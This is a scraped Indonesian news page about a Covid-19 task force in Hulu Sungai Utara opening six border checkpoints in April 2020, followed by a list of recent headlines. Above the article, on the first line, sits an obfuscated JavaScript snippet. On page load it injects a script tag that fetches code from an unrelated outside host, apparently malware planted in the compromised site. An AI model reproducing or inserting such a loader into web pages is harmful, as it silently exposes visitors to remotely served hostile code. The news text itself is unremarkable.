(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

Perketat Arus Masuk dari Luar, Tim Gugus Tugas Covid-19 HSU Buka 6 Posko Pemeriksaan


KANALKALIMANTAN.COM, AMUNTAI – Guna mencegah penyebaran pandemi virus Corona atau Covid-19, Tim gugus tugas P3 Covid 19 Kabupaten Hulu Sungai Utara (HSU) memperketat jalur perlintasan dengan membatasi arus masuk dari luar kabupaten. Mereka pun kini membuat sebanyak enam posko pemeriksaan.

Bupati HSU H Abdul Wahid HK mengatakan, langkah ini dilakukan sebagai tindak lanjut dari surat edaran Gubernur Kalsel No 188.44/ 0210/ Kum/2020 tentang pembatasan arus masuk orang yang datang dari luar daerah provinsi per-tanggal 31 Maret 2020 kemarin

“Kita akan buat Posko pemeriksaan di 6 titik, untuk Kecamantan Amuntai Utara di kawasan Tabur, Kecamantan Haur gading di desa panawakan kemungkinan besar warga dari Tabalong, Kalteng, Barito timur atau Barito selatan melintasi jalur itu, maka harus ada posko disitu.” Jelas Bupati Wahid saat menggelar rapat terbatas bersama tim gugus tugas Covid-19 di Mess Negara Dipa, Kamis (2/4/2020) siang.

Lebih lanjut, Wahid menambahkan untuk posko pemeriksaan selanjutnya berada di Kecamatan Banjang tepatnya di desa Beringin yang berbatasan langsung dengan Kabupaten Balangan, posko di kecamatan Amuntai tengah berada di Desa Pinang Habang dan Muara Tapus.

Untuk posko pemeriksaan yang berada di desa Babirik Kecamantan Babirik yang berbatasan dengan kabupaten Hulu Sungai Selatan di Kecamantan Daha Utara dan yang terakhir posko pemeriksaan berada di kecamatan Paminggir atau Danau Panggang.

“Untuk yang mau masuk dengan hal-hal yang tidak penting, kita minta kembali, kecuali apabila emergency atau dengan pertimbangan jelas lainnya,” kata Wahid.

Selain itu, Wahid juga menyebut selain harus melalui pos pemeriksaan, bagi yang di izinkan melintas akan terus dipantau melalui koordinasi dengan pos-pos yang lainnya, hal ini sesuai dengan masukan dari Dandim 1001 Amuntai sehingga hasilnya dapat dilaporkan ke pada satgas. (kanalkalimantan.com/dew)

 

 

Reporter : Dew
Editor : Cell

 


Desy Arfianty

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

37 menit ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

1 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

2 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

6 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

10 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.